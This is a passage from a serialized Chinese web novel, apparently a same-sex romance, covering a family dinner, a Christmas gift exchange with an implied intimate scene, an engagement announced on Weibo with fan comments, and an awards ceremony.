老太太笑骂道:“你难道不会也回这边吗?” “那不一样。我回去和他是二人世界,回这里是家庭聚会。”路煌理直气壮的。 老太太乐着给了他一下:“混小子,不知道害臊。” 佣人通知他们午饭准备好了,于是一家人转去了餐厅。 午饭准备得非常丰富,等于是提前跨年了,这样元旦假期孩子们可以有自己的安排,不用拘在家里。 这样的场合,老爷子应该提杯说几句。但这次却不是老爷子先开的口,而是路康佑率先举杯:“这次咱们一家人算是聚齐了,看到家中父母身体健康,孩子们各方面都很出色,就是咱们这一家人最大的幸运了。也欢迎稚舒来到我们家,之前种种的不快算是对咱们家的考验,让我们打破了思想的局限性,也是成长吧。现在都过去了,希望咱们家还是能够凝聚在一起,一家人和和睦睦,不要有嫌隙才好。” 严妙接了路康佑的话:“的确,做家长的难免多操心,你们小辈得多理解。如果觉得我们长辈做得不好、不对,也可以指出来,咱们商量着来。总之,现在一家人能聚在一起,就是最好的。干杯!” 两个人的话是对谁说的,为什么是他们提杯,而不是老爷子,路煌和许稚舒心里都清楚。大家都有一个台阶下,化解了尴尬,就能自然走往前走了。 大家一起举杯,欢迎了许稚舒,也为今天的家庭聚会庆祝。 开始动筷子后,路煌就一直在给许稚舒夹菜,家里人也知道许稚舒第一次来,多少会拘谨,路煌顾着他是好事。席间的话题也慢慢从今天的菜色聊到了工作上的事。 路家公司是做什么的,许稚舒是知道的,可具体涉及到的内容他就不清楚了,开头还愿意听几句,后面听不明白索性就专心吃饭。 其实路家人并不难相处,许稚舒没有被为难,自然也不会觉得别扭,他一边是路煌,一边是路千瑗,对面是陈玉欣和路煊,都是能让他感觉到熟悉的人,所以他心态上也在慢慢放松。 路煌提到了杨观,以及他议题杨观买地的事。路煊一听是许稚舒的哥哥,就表示会跟杨观联系,如果能促成合作就更好了。 “初黎现在稳定了吧?”老爷子开口问路煌。 “挺好的,今年的跨年晚会两个团一共出席六场,要是能有出色的舞台再圈一波粉,明年就稳了。公司也准备推solo歌手了,明年应该不会差。”路煌的自信源于自己对市场的判断和许稚舒的创作能力。而且以现在的态势,他们是有试错空间的,不需要把自己逼得太紧。 “那明年你还是回来帮帮家里吧,你爸也不是年轻的时候了,工作太多他吃不消。”老爷子都看在眼里,该调整的就得调整,不能把人累坏了再后悔,他是长辈,又不是资本家。 “多请些人吧。”路煌提议,“初黎这边我也不能完全放着不管了。” “已经在招了,但把握大框架的还得是你们。你之前在公司做得很不错,现在回来上手应该不难。”老爷子是没办法,别的家族都是遇到瓶颈,但他们路家却还在稳步上升。这话现在说出去都得招恨,所以就算招人也不能大张旗鼓,效率自然不高。 路煌看向路康佑,想听听父亲的意见。 路康佑:“你之前在公司做的那些投资收益颇丰,这些钱放手里肯定不行,还是得继续投出去,这是明年上半年公司的重点,你得回来帮把手。” 因为钱太多,肯定不能放在一个篮子里,关注的项目多了,就需要路煌能回来帮忙,对路康佑来说能省不少心。 路煌还是有些犹豫,明年上半年solo歌手的推出也是大项目,不能因为初黎赚得少就轻视,毕竟初黎的员工也不少,都指着公司吃饭呢。 老爷子喝着许稚舒带来的茶,道:“稚舒不是自己经营工作室吗?听说发展得很不错。” 许稚舒一愣,转头看向老爷子,没想明白话题怎么跑他身上来了。 老爷子继续道:“稚舒,初黎交给你管吧,给你开年薪,拿分红,你就当是帮家里分担了。到时候给你配个助理,有不懂的也能跟路煌商量,你看行不行?” “爷爷,您怎么还硬给人派活呢?”路煌还是帮许稚舒挡了,这事可以商量,但不能逼许稚舒现在做决定。 老爷子说:“你妈妈、你嫂子虽然都有自己的事业,但哪个不是多少得为家里分担一点?现在稚舒来了,不也应该如此吗?不然弄得我这个老头子像厚此薄彼一样,到时候又有你能说嘴的地方了。” 路老爷子就是这样的性格,他有自己的顾虑和考量。可一旦认可了,那就是家里人的待遇,没有那么多弯弯绕的东西,一家人也不用假客气,他说话就开始直来直去了。 “我可不敢说您。”这会儿路煌又装起乖了,“但您也别上来就给压力啊,我嫂子也是结婚之后才帮着管家里的铺子的。” 除了公司,路家还有些商铺、写字楼之类的出租项目,这些都是小投资,后来都交给陈玉欣了。 “那你们什么时候结婚?”能看出来路老爷子是真的急。 路老太太给老爷子夹了菜,让他先别说了,自己帮着解释道:“你也别怪你爷爷着急,家里发展得不错,有些东西就算咱们家不想继续扩张了,可市场需要,咱们也不能不增反降。现在家里的确需要你帮忙,稚舒在娱乐圈这么多年,对娱乐公司怎么经营肯定有数,初黎交给他不是正好吗?” 严妙也帮着对许稚舒道:“你也别怪家里急,不是想逼你,是家里真的太忙了,如果你愿意帮忙分担,自然是最好。如果你觉得不能胜任,也不用勉强。” 许稚舒没上头,也没有打退堂鼓,只说:“这件事我回去跟路煌再商量一下,可以吗?” “当然。”严妙笑着点头。 路煌凑到许稚舒耳边,小声道:“老爷子像是在找免费劳动力。” 许稚舒被逗笑了,按老爷子说的,他还真不免费。 既然提到了结婚,自然说到了婚房。老爷子大手一挥:“按乐湾山的标准买,家里给你们出钱。” 乐湾山当初就是为了路煊和陈玉欣买的,写的也是两个人的名字。 路煌自然不会拒绝:“行,那我看好了跟您说。” 家里愿意给一样的标准,是对许稚舒的认可,路煌不会拒绝。不过他说过要买跟许稚舒两个人的房子,也不会改。 这顿饭吃得比许稚舒预想中的舒心,有些难题只有走过去,才会发现根本没有那么难。 出了路家大门,许稚舒发现天还是那么蓝,只不过已经有云聚起来了。捏了捏出门前老太太和路母塞给他的红包,这天空就好像是应了他的心境,云就像簇拥而来的家人,在他干净的画布上添了许多温暖—— 作者有话说:来晚了,让大家久等了。感谢支持! 第64章 路煌坐在沙发上, 腿上搭着许稚舒的腿。许稚舒背靠在沙发扶手上正在拆红包,每个红包里都是一张卡,至于卡里有多少钱, 许稚舒就不清楚了。 “准备怎么用?”路煌手随意地抓着他的小腿, 没有更多的动作,只是传达一种体温相贴的亲近。 “筹备婚礼酒席?”许稚舒笑着提议。 路煌乐道:“这些就不用你操心了, 留着买自己喜欢的, 这些算是你的婚前财产。” 路煌知道他们这个情况,哪怕是在国外领证了,财产分割上也不能按着国内的来。但这并不是难题,他只需要起草一份协议,让两个人的财产按国内正常夫妻的方式分配就可以了。 “那我要存起来吃利息。”许稚舒不是喜欢投资的人,他在这方面还是比较保守的, 也愿意给自己留这样的后手,至于吃利息是不是亏了并不重要。 “可以。”路煌不干涉他的决定, “关于初黎,你要是不愿意就不要勉强自己。你现在有自己的工作节奏, 我也不想你太忙, 那样会缩减我们相处的时间。” 许稚舒倒并不觉得有压力:“娱乐公司的运作我也是知道的,现在初黎不再是负债状态了,各种决策也不难做。如果你需要, 我可以帮忙。” 路煌考虑了片刻, 说:“那上半年你帮我盯一下吧,我回投资公司那边把今年的决策收一下尾。如果你觉得能上手,初黎就交给你,如果你觉得自己的时间错不开,下半年我再接手。” 投资公司那边的决策肯定不可能卡到明年再做, 基本今年边拿收益就已经边计划了。只不过后续讨论和拍板才是最耗时间的。 “行。”许稚舒没有意见,他并不是想得到谁的认可,只是想帮路煌。现在他和路煌的事路家同意了,没了这方面的压力,其他的压力又来了,于情于理他都不可能让路煌太辛苦。 路煌想说家里涉及的面太多,以后说不定还有得让许稚舒帮忙的地方。不过这些就等到以后再说吧,他还是希望许稚舒能做自己想做的事,不要因为跟他在一起了,而额外增添负担。 聊完正事,路煌凑过去,问:“我的圣诞礼物呢?” 许稚舒去拍广告的时候就说会给他买圣诞礼物,回来后许稚舒没提,他也没问。今天是平安夜,应该可以问了。 许稚舒笑起来:“不是晚上才送礼物吗?” “提前一点不行?”许稚舒哪管什么白天晚上,今天是休息日,早晚对他来说都一样。 许稚舒捏了捏他的脸,就去拿了。没多会儿,许稚舒把压在柜子里的文件递给了路煌,正是他预定的结婚照拍摄合同。 路煌看明白后,露出又白又齐的六颗牙齿,一把将许稚舒拉过来,按在沙发上:“我很喜欢。” 许稚舒笑看着他,问:“我的呢?” 他知道路煌肯定准备了。 路煌神秘一笑,说:“你先把眼睛闭上。” 许稚舒不知道他要搞什么,但还是闭上了眼。 一阵茶几抽屉开关的声音之后,许稚舒就感觉路煌开始上手解他衣服了。他正要睁眼时,路煌的手就捂上了他的眼睛,低声笑道:“别动,是好东西。你看了就没惊喜了。” 许稚舒没推他,任他捂着自己的眼睛,笑骂:“你不要给我搞事情,我是正经要收礼物的。” 路煌笑答:“放心,我真的准备了。” 许稚舒没再说什么,闭上眼睛后触感就会变得灵敏,他能感觉到路煌扯开了他的衣服,连裤子都被拉下去一截,露出平坦的腰腹。随后路煌就把手插到他腰后,将他捞了一下,紧接着就是凉凉的触感——他的腰上被戴了东西。 许稚舒伸手去摸,却被路煌抓住了手。路煌半天没有动静,可许稚舒能感觉到他炙热的目光。 “好看。”路煌最终给予了评价。 许稚舒一直没睁眼,他大概猜到是什么了。 路煌欣赏够了,便附上来给了他一吻,说:“看看喜不喜欢。” 许稚舒这才睁开眼,撑起上身就看到自己腰间挂了一条腰链。这条腰链一共有三层,细细的链子应该是纯金的,上面的宝石形色各异,他能认出的有钻石和红宝石,这两种也是镶嵌最多的,每一颗都有拇指的指甲那么大。 “你……” 没等许稚舒问全,路煌就主动道:“这些宝石都是我委托江铭帮我拍的,链子也是定制的,喜欢吗?” 许稚舒笑说:“要是挂你身上,我应该会更喜欢。” “按你的尺寸做的,我戴不上。”说完,他整个人又重新压上去,在吻由浅及深后,手又重新伸向许稚舒的衣扣。 这次路煌是做足了准备的,许稚舒没有拒绝,他们重新在一起后,路煌一直很克制,就像是在等待一个最终的仪式,才可以重新完整地拥有许稚舒,今天这个仪式达成了。 腰链随着许稚舒的身体摆动,宝石都染上了许稚舒的体温。路煌向许稚舒演示着腰链的用法,原来它还可以拆开,挂到更敏感的地方去。 当宝石蒙上一层水渍不再那么闪耀,许稚舒身上也仅剩下这条腰链了。颤抖的身体和嘴唇让他蜷起双腿,不敢再有任何牵扯。路煌细密地亲吻他,又开发起了腰链新的佩戴方式…… 次日路煌精神百倍地去上班了,许稚舒则在床上实实在在躺了一天。那条腰链被他锁了起来,坚决不会再让路煌找到! * 圣诞过去的第三天,许稚舒接到杨观的电话,跟他说了路煊联系他的事。 许稚舒这才想起来还没跟杨观提他已经去过路家了。于是赶紧把情况跟杨观说了。 杨观既惊讶,又为许稚舒高兴:“路家人没为难你就好,现在你和路煌过了这一关,我就更放心了。” “嗯。”许稚舒笑应了,又说,“如果你想合作,就去谈吧,要是路家给的条件不合你心意,你也不用客气,不用顾忌我的颜面,我不希望你吃亏。” “没有,路家给的合作条件很好,好得我都怕是他们想卖断咱俩的关系。”杨观现在也有心情开玩笑了。 许稚舒乐了:“那不至于,我还不想和你断亲,多少钱都不行。” 杨观舒心了,许稚舒比之前开朗了,也更愿意表达了。于是他问:“元旦出来吃饭吗?” “不想人挤人的,年后的周末吧,你看你时间行不行。”许稚舒已经跟路煌说好了,他们今年也不出门跨年了,提前一天两个人出门吃饭,跨年当天就待在家里看跨年晚会。 “等我这边确定一下,如果没有安排就跟你说。”杨观现在还定不下来。 两个人又聊了一会儿才挂了电话,毕竟不是谁都像许稚舒一样放长假,每到这种时候,许稚舒都会觉得努力了一年,好好放个长假真的是件非常舒心的事。 两个人出门吃跨年晚饭这天,订的是一家西餐厅。年底餐厅并不好订,两个人还需要有足够的隐私空间的地方,选择面就更窄了,能订上就没什么好挑的。 许稚舒是打车过去的,今天他和路煌都准备喝些酒,就不开车了。 “欢迎光临,请问您预定的手机尾号是多少?”服务生热情又客气地询问,这里是全预约制的,也是为了保证位置足够,不让客人等位,如果有需要拉隐私屏风的顾客,店里也能提前准备。 许稚舒报了手机尾号,服务生正在查询,大门就再次被推开了。 许稚舒背对着大门,并没转头。 服务生立刻对新进来的客人道:“两位请稍等,马上为两位服务。” “不急。”对方应道。 熟悉的声音让许稚舒下意识地转头,结果六目相对间,他和对面两个人都愣住了。 单长清在惊讶之后立刻露出几分尴尬,而站在他旁边路千瑗倒是很快变得坦然,也不知道这份镇定是真的还是装的,冲许稚舒打招呼:“许哥,好、好巧啊。”—— 作者有话说:感谢支持! 这是29号的更新。30号还是照例每个月的最后一天休息哈! 第65章 这样的巧遇无论是放在这个特别的时间节点, 还是放在平时,许稚舒都很难只把它看成是普通见面。一方面他都不知道这两个人已经熟到可以私下吃饭的程度了,去路家那天路千瑗只字未提;另一方面就算两个人私下处得不错, 可单长清是什么工作性质许稚舒再清楚不过了, 今天能跟路千瑗出来吃饭,肯定是推了不少工作的。所以要说这两个人没什么事, 许稚舒是不信的。 可他一时又不知道说什么, 他没从单长清脸上看出勉强,路千瑗今天也精心打扮了,显然两个人对今天的见面都很重视。退一万步说,就算路千瑗今天是来跟单长清谈投资的,对两个人来说也是很重要的项目,他不应该破坏气氛, 弄得像抓包小学生约会一样,况且他现在并不确定两个人到底是怎么回事。 于是许稚舒维持着淡定, 道:“嗯,一会儿你二哥也过来。” 路千瑗的笑容僵了一下, 说:“是吗?我听说这家西餐做得很好, 所以约了长清哥来试试。” 单长清调整好了状态,他知道这个场面不应该交给路千瑗去应付:“稚舒,晚点我会给路煌打电话, 行吗?” 以许稚舒对单长清的了解, 他这话是什么意思,许稚舒心里就有数了:“我可以跟路煌提一句吧?” “当然。”单长清微笑着点头。就像许稚舒了解他一样,他也很清楚许稚舒只会实话实说,不会添油加醋。 许稚舒点头一笑,不再在门口多说, 万一被其他客人看到,晚餐恐怕就没有那么尽兴了。 于是许稚舒率先跟着服务生离开,也没有关注单长清和路千瑗坐哪里。 年底店里准备的全部都是套餐,只有酒水是任选的。 许稚舒点好了餐,等着路煌来。 大概十分钟后,路煌到了。一天没见到许稚舒,他边脱外套,边给了他一个吻,让自己的想念找到了安放地。 “是不是很冷?”许稚舒笑问。 “还行,下车没走几步路。倒是你,穿羽绒服了吗?” 许稚舒打车是要走到小区门口的,虽然只是三分钟左右的步行路,可在冬天的晚上,还是挺难受的。 “穿了。”许稚舒答后,示意服务生可以上餐了。 路煌放好衣服落座后,服务来给两个人倒酒,路煌握了一下许稚舒的手,发现不凉,才放心。 “今天在家刷剧了?”路煌跟他闲聊,没有安排的日子,许稚舒的生活过得还挺宅的。 “没有,上午贺漾给我来电话,和我讨论了明年他专辑的事。”许稚舒也是无奈,要是别人,他肯定会推到年后他上班了再说,但贺漾的话还真就随他的便了。 “他不知道你放假?”路煌清楚贺漾的性格,估计是今天好不容易有空了,赶紧联系。 “知道,他说等我上班再约都不知道要排到什么时候,他要走后门。”能在许稚舒这儿理直气壮插队的也就贺漾了。 路煌:“谈好了吗?” “嗯,他的歌好做,就是看他想要什么风格而已。”许稚舒很了解贺漾的音域,不存在他写了贺漾唱得很勉强的情况,也不存在他的歌发挥不出贺漾长处的问题,省时省力对两个人来说都轻松,“不过我也向他提议合作完这一次,下次让他请别的音乐人来做,否则粉丝会有听觉疲劳。” 这点不需要多沟通,大家心里都有数。就算是自己能写的创作型歌手,也不会每次都只唱自己写的歌。给粉丝新鲜感,也是歌手应该做的事。 路煌表示认同,就像Breeze的下一首歌就不会和许稚舒合作是一样的。对音乐人和歌手来说都是有好处的。 菜品一道一道端上来,两个人边吃边聊。路煌已经开始为初黎的交接做准备了,即便两个人住在一起,有什么事随时能沟通,可表面的工作还是要做全,这是对许稚舒开启新尝试的助力。等吃到主菜时,工作的事就点到为止了,两个又说起了安排朋友聚会的事,春节大家应该都能空出时间来,由他们两个来安排聚会比较合适。 说到聚会,许稚舒压了又压到嘴边的话,才最后在饭后甜品上来时,跟路煌说了遇到时单长清和路千瑗的事。 路煌的惊讶不比许稚舒少,不过他们两个的想法完全不一样。许稚舒想的是单长清跟粉丝在一起,是很容易被诟病的。即便他很信得过单长清,也会担心路千瑗是不是粉丝滤镜太厚了。说到底,他最担心的还是这事万一没弄好,单长清和路煌的关系崩了,那真是对谁来说都是遗憾了。 可路煌张嘴说的却是:“那小丫头不会是想包养长清吧?” 幸好吃得是甜品,如果是在喝东西,许稚舒觉得自己都能喷出来。 “你这话说的,先不说长清不是那样的人,你也不能把千瑗说得像恶霸一样。”许稚舒不是要指责他,就是觉得他这个当哥哥的话说得不靠谱。 路煌倒是坦然:“我们路家孩子什么性格,我再清楚不过了。千瑗看起来的确没什么威胁性,不过骨子里的东西谁能说得准呢?” 许稚舒并不认同:“你们路家家教很好,不会有这种事的。” “家教好只能约束我们的行为,不能约束我们的心。”路煌从不自诩好人,他很清楚在他们这个圈子里,不可能只有纯善,否则是生存不下去的。 许稚舒眨着眼睛看他。 见他还不信,路煌笑说:“和你说句实话,如果你不是我的队友,我想得到你,你又不愿意的话,我的手段或许也不会很好看。” “胡说。”许稚舒还是不信,从始至终,无论他们是在很好的时候,还是分手的期间,路煌都没做出任何对他有半分不好的事。 路煌一笑,他只是告诉许稚舒这些,并不需要许稚舒切实体会。同时他也会庆幸,幸好许稚舒也喜欢他,否则两个人的关系会很难搞。 许稚舒吃完自己的那份甜品,才说:“长清说晚一点会给你打电话,到时候你慢慢问吧。” 毕竟路煌是路千瑗的亲哥,由他来问更合适。 “行。话说回来,如果千瑗的恋爱对象是长清,我倒是安心了。知根知底的,长清的性格好,家里成员简单,也没有混乱的情史,的确不错。”路煌站在自己的角度分析。 “说得也是。长清脑子聪明,情绪稳定,还很能带来情绪价值,做恋人的话的确没什么好挑的。”只要路家不挑家世,单长清的条件的确不错。 路煌对甜品兴趣不大,尝了两口就没再动了,把杯子里的酒喝完,道:“不要在我面前夸别的男人。” 许稚舒失笑:“那我夸你?” 路煌双腿在桌底夹住许稚舒的腿:“在这儿夸就免了,换个地方我会更喜欢。” 许稚舒将一条腿往后退了半步,轻踢了踢了他的鞋子:“把你的黄色废料收一收。” 吃完饭,两个人在外面散了会儿步,才打车回家。 到家后两个人的酒劲儿都散得差不多了,单长清的电话也打来了。 许稚舒去洗澡,让路煌自己跟单长清聊。等许稚舒洗完出来,路煌已经结束通话了。 “怎么说?”许稚舒擦着头发坐到路煌身边。 路煌接过许稚舒手里的毛巾,一边轻柔地帮他擦头发一边说:“长清说从上次见面后,千瑗就有意投一档节目,跟长清合作。原本长清一直在犹豫,后来听说她投资了To ver,现在To ver也开始赚钱了,这让他觉得千瑗的投资应该是很有条理的,不是一时兴起。后来两个人为合作的事见过几次面,聊的多了就有了好感。” 许稚舒:“想来也正常,长清本来就是千瑗的偶像,千瑗对他有好感很正常。而千瑗本身就是很可爱的女孩儿,性格好,见识也远,虽然两个人的成长环境很不一样,可这也能恰好激起好奇心,自然就是越聊越有话题,越了解越觉得对方不错了。” “回头我得跟小丫头好好聊聊,我听长清话里话外对这段感情很认真,我得看看千瑗的态度。她要是不是正经谈的,我得让她注意分寸。”路煌考虑得比较多。 “也好。”许稚舒想了想,又说,“现在长清也从偶像慢慢转型了,而且到了这个年纪,谈恋爱的话也正常,粉丝应该不会情绪太激动。” “但愿如此。不过千瑗年纪还小,先谈着看吧,以后的事不急。”还是那句话,因为对方是单长清,路煌反而不担心路千瑗。 等路煌洗完澡出来,许稚舒正坐在床上往超市的APP里加东西,年底超市里的人特别多,他不想去挤,使用超市的配送服务正好,还能买不少半成品,足够他们做一顿不错的跨年饭了。 路煌上了床就抱住了许稚舒。 许稚舒笑着推他:“别打扰我,超市的东西要赶紧预定,明天可能就不全了。” 路煌才不管那么多,他和许稚舒也吃不了多少东西,买不全也不影响,于是非常不讲道理地抽走了许稚舒的手机丢到一边,就顺势把人压到了床上。 许稚舒无奈地看着他,现在除了路煌,他眼里也容不下别的了。 路煌俯身在他耳朵上一吻,如恶魔低语般地说:“现在开始可以夸我了,等我满意了,就放过你。” 于是这一晚,主卧的灯亮到大半夜……—— 作者有话说:感谢支持! 第66章 跨年这天, 两个人哪儿都没去,起床就已经快十点了。 吃了早午饭,许稚舒重新登录超市的APP选购东西, 路煌则坐在沙发前的地毯上办公。地毯已经换上了许稚舒在国外买的长毛地毯了, 茶几也换成了小桌子,客厅的圣诞树收了起来, 已经从圣诞氛围转成跨年氛围了。 今天虽然不用上班, 但手上的工作还是要做,昨天路煌已经加了一天班了,今天不去公司在家办公,已经算是忙里偷闲了。 “稚舒。”路煌回完邮件叫了许稚舒一声。 “嗯?”许稚舒应了,检查了购物车里人买的东西,确定无误后下单付款。 “我们的关系是不是应该对外宣布了?”路煌问着许稚舒的意见。 作为已经离开台前的人, 他们两个人恋情其实不必非得公开。可他们的CP粉还在关注着两个人的关系。到了年底,其他三个人都有商业活动, 对于没有新物料的两个人,CP粉们做了一些混剪, 让自己高兴一下。路煌有刷到过, 许稚舒还有品牌的圣诞活动,而他是一点商业活动的动静都没有,粉丝也不知道在那儿弄的他上下班的照片, 总之剪得还挺不错。 所以思来想去, 他现在跟许稚舒有了一个圆满的结果,给CP粉一个交代,也是将这种圆满传递出去。 许稚舒躺在沙发上转头看他:“你想什么时候说?” 给粉丝一个交代不是必须,可对多年来支持他们的粉丝,他们也不可能无视, 这种陪伴不是轻易能够拥有的,是属于偶像与粉丝之间的羁绊。原本许稚舒以为这种羁绊在他们退圈后就会随之散去,却没想到粉丝的长情是他们难以想象的。 如今他们已经获得了美好的结果,的确应该跟粉丝交代一声。 “明天?”路煌话是这么问的,可听起来却像是已经决定了。 “可以啊。”许稚舒没有意见,“你发还是我发?” 路煌笑道:“我发。” “要把你的账号重新开启了?”许稚舒问。 “这么重要的事,值得一个重启吧?”路煌现在只要想到许稚舒,心情就格外好。心情好的时候,就会有分享欲。 许稚舒笑而不答,路煌高兴就好。 跨年晚会有预录,也有现场,Breeze和To ver两种晚会都有参加,许稚舒和路煌最关注的肯定还是现场,这是圈粉最好的舞台形式。 晚上,两个人坐在地毯上,一人盖一条毯子,中间的小桌上放着煮好的热红酒,零食摆了满地,一起看跨年晚会。 “你紧张吗?”许稚舒问路煌,现场也是最容易翻车的,如果这两个团真翻车了,那恐怕不仅吸不了粉,还会掉粉。 路煌吃着肉脯,悠哉地说:“我?我有什么好紧张的,紧张的应该是你。” 许稚舒不解。 路煌把肉脯递过去,许稚舒下意识地咬了一口,路煌才满意地继续道:“元旦假期结束,初黎就归你管了。如果这些小朋友在台上拉胯了,将会是你接任后要面临的第一次危机公关。” 许稚舒还在休假的氛围中,根本没往这方面想过,结果被路煌一说,他才惊觉情况不妙啊! 许稚舒:“我怎么觉得自己被做局了。” 路煌笑道:“如果搞不定可以来求我,我只接受肉偿。” 许稚舒把贝果脆咬的咔咔响,他已经开始考虑应该往哪个方向祈祷,才能让这两个团今天的舞台大获成功了。 不过结果是并不需要许稚舒祈祷,两个团现场发挥的特别好,不仅舞蹈很有力度,唱功也很给力,算是当天能排进前三的舞台了。 当晚,关于两个团的讨论占据了晚会的半壁江山,许稚舒得意地对路煌道:“我做出来的团,肯定差不了。” 路煌没笑话他,公司能给这两个团安排现场演出,肯定是对他们有信心的,初黎没有理由砸自己的招牌。 第二天一早,许稚舒是被身上的重量压醒的。他感觉到路煌半个身体压在了他身上,随后自己手被摆弄了几下,无名指被套了个东西。 他一下就醒了,就见路煌一手拿着手机,一手自他手背上扣住他的手指,拍了一张两人左手相叠交扣的照片。他先是想到路煌可能要用这张照片发微博,随后随着路煌松开他的手,他才清楚地看到自己手上戴了一枚钻戒。 男式钻戒戒面偏宽,主钻镶在中间,看似不张扬,却特别闪。指环部分也镶满了碎钻,沉稳又华丽。 许稚舒顺势抓过路煌的手,路煌戴的戒指跟他的款式一样,只不过没有碎钻点缀,看着更低调一些。 “喜欢吗?”路煌反握住许稚舒的手,拉到唇边吻了一下。 “嗯,好看。”许稚舒对戒指的款式没有研究,只要是路煌送的,他肯定都喜欢。 路煌笑说:“这两颗钻石是成对卖的,成色、净度和切工都是顶级,唯一差一点的是只有五克拉,不过两颗加一起也算十全十美了,图个好意头。” 如果不是他们的婚戒,路煌是不会考虑意头这件事的。 许稚舒反复看着两个人的戒指,路煌继续说:“上面的碎钻我也是让他们挑了品质最好的,做出来成品效果比我预想的还要好。” 和他送给许稚舒的那个腰链上的钻石和各种宝石相比,这两枚戒指上的钻石真不算大了。不过许稚舒要脸,路煌就没提这茬儿。 许稚舒嘴角一直带着笑意,越看越喜欢。 路煌坐起身,然后把许稚舒也拉了起来:“稚舒,我正式问你一次,你愿意跟我结婚吗?” 虽然场合不怎么正式,不过路煌的态度很正式。 “愿意。”许稚舒答得很干脆,他不会有其他答案的。 路煌笑着将人抱进怀里,这是一个非常好的开年,他相信以后他跟许稚舒也会顺顺利利的。 上午,路煌沉寂已久的微博更新了。没有多余的话,只@了许稚舒的账号,附带了早上拍的两个人手交叠相扣戴着婚戒的照片。 没过五分钟,#路煌许稚舒婚戒#的热搜空降第一,成为了开年第一炸。 【啊啊啊啊啊,这是什么东西啊啊啊啊啊!!!!】 【卧槽,我觉得自己已经爆炸了!!!】 【所以,他们!他们这是谈上了?!!】 【这哪是谈上了?这明显是结上了吧!】 【QAQ求不是溜粉。】 【应该不至于吧,这要是溜粉,以后他们就别想出现在公众视野中了,肯定得挨骂。】 【如果不是真的,这两个人没必要搞这一出。】 【那我可就真信了QWQ!】 【我嗑的CP真的成真了!!!】 【天呐,谁懂一睁开眼看到这条热搜的救赎感,我觉得这一年我都会是非常幸运的小女孩!】 【不行不行,我还是需要许稚舒出来解释一下,不然我真的怕自己这是在做梦。】 …… 大概半个小时后,许稚舒登录了自己好久没上的账号,转发了路煌的微博,附言:爱你。 这下粉丝们是彻底疯了,无论是团粉、唯粉还是CP粉,都纷纷送上祝福。对于粉丝来说,他们两个谈恋爱,好像比两个人各自找个女朋友更好接受。 随后贺漾、单长清和纪西卓都转发了他们的微博,不需要多说什么,就已经表明了祝福的意思了。 两个人的恋情让网上实实在在地热闹了一天。对CP粉来说,这是多年心愿终于达成,而对路人来说,这两个人是勇于突破界限,为自己的爱情负责。 于是之后的半个月,各大娱乐媒体都在联系两个人,希望他们能接受采访。但都被拒绝了,所以大家只能指望单长清的节目了,毕竟许稚舒还没上节目,如果能上的话,应该可以聊到相关话题。 而这半个月,许稚舒也没闲着,重新开始上班后,他先是在工作室忙了一周,和去年一样,把今年一年的工作安排全部定下来,这样之后的时间就很好规划了。一周后,许稚舒正式接替路煌在初黎娱乐的职位,今年的安排都已经规划完毕了,许稚舒要做的就是按时间将事情推进下去。 转眼,时间来到一月底,两个人宣布恋情的热度虽然有所下降,但因为许稚舒要出席年度音乐奖项的颁奖典礼,热度又再次被拉高了。这是许稚舒宣布恋情后的第一次公开露面,别说媒体想采访他了,就连粉丝都在抢现场的票,希望能看到他本人,如果能问上几句关于他和路煌的情况就更好了。 粉丝和媒体们怎么想的,主办方但凡动动脑子都能猜到。现场安保工作自然是做得密不透风。 当许稚舒走上红毯时,粉丝们的尖叫已经把现场变成许稚舒的粉丝见面会了。媒体的镜头也纷纷对准了他,希望能拍到足够好的照片。 许稚舒当然知道大家的目的,不过他并没想让今天的颁奖典礼成为了他的主场,所以他没有主动地要表现什么,但手上的戒指却再度向外界证实了他和路煌的关系。 【戒指好闪啊,哈哈哈!】 【好大一颗钻石,羡慕了。】 【哈哈哈,你们看到没有,记者在拼命往前挤,安保人员拦得脸都累红了。】 【没办法,怎么看今天稚舒都是主角啊。】 【只有我在关注稚舒的脸吗?已经退到幕后这么久了,他的脸还是这么能打,在圈内无代餐啊!!】 【如果他愿意复出,我肯定第一个冲上去支持。】 【我听说他现在发展得很好,比在团里的时候还自在呢。】 【如果是这样,那我还是希望稚舒能一直这样自在下去。】 …… 走完红毯,礼仪小姐带他进入会场,并引他到自己的座位上。 此时内场的观众已经坐满了,他进入内场大门,大屏幕上立刻出现他的身影。内场爆发出的欢呼比红毯上还要夸张。 许稚舒对着摄像机笑了笑,算是对大家热情的回应,随后就跟着工作人员去到了自己的座位上。 说实话,他今天真的不是来炸场子的,也不是来试探自己出柜后的人气的,他只是来参加颁奖典礼。作为他单干后第一次被提名的颁奖典礼,他肯定是要出席的。 主办方很有眼色地把贺漾的座位安排到了许稚舒旁边,这让许稚舒放松不少。能不能拿奖不重要,能获得提名,对他来说已经很难得了,毕竟他工作室才成立没多久,还有很多可以发展的空间。 坐下等了一会儿,贺漾就到了。 看到许稚舒,贺漾立刻笑得眼睛都眯起来了:“主办方够意思啊,把咱们俩安排在一起。” 许稚舒笑看着他,玩笑道:“他们这叫鸡贼,就算咱们两个都没得奖,多拍点咱们互动的镜头,粉丝也不好说什么了。” 贺漾笑着坐下:“那得嘞,让他们拿奖去,今天咱们俩就负责占他们的场子聊八卦了。”—— 作者有话说:感谢支持! 明天应该就是正文最后一章啦!《 》 【完结】 第67章 作为参加过无数次颁奖礼的“老油条”, 对于自己能不能得奖,两个人都是期待的,但并不紧张。毕竟要说成就, 他们都不缺, 奖项对他们来说更像是锦上添花。 “我说,你和路煌胆子够大的, 床照就那么往外发啊?”贺漾跟许稚舒说悄悄话, 自然没有顾忌。 “什么床照,那叫牵手照。”许稚舒辩驳。 “哈?谁家好人牵手照在床上拍?” 路煌刚发出照片时,大家的关注点都在两个人的关系和钻戒上。后来慢慢的,大家注意到照片是在床上拍的,确切地说两个人的手应该是放在枕头上的,再进一步判断两个人是用什么姿势完成的拍照, 这让CP粉们再次兴奋起来,各种小黄画满天飞。 许稚舒无力反驳, 全怪路煌。 贺漾随后又问:“你和路煌是要举行婚礼的吧?” “嗯。”不能在国内领证,婚礼肯定还是要办的。否则让会人觉得他们轻视这段关系。 “会请我的吧?”贺漾向他确认。 许稚舒笑道:“当然啊, 你们都得来。”他朋友本来就不多, 怎么可能不请贺漾他们? 贺漾十分满意:“那我可就期待了。到时候我要当伴郎!” “没问题。”许稚舒应了。 两个人又讨论起婚房的事,随着他的聊个没完,颁奖典礼也在有条不紊地进行。 “年度最佳单曲——《木偶》。” 台上宣布获奖单曲, 镜头给到贺漾和许稚舒时, 两个人还在聊,已经聊到许稚舒和路煌考虑在单长清住的那个小区买房了,问贺漾要不要也考虑买一套。 【哈哈哈,这两个人怎么回事,聊到不知天地为何物了吗?】 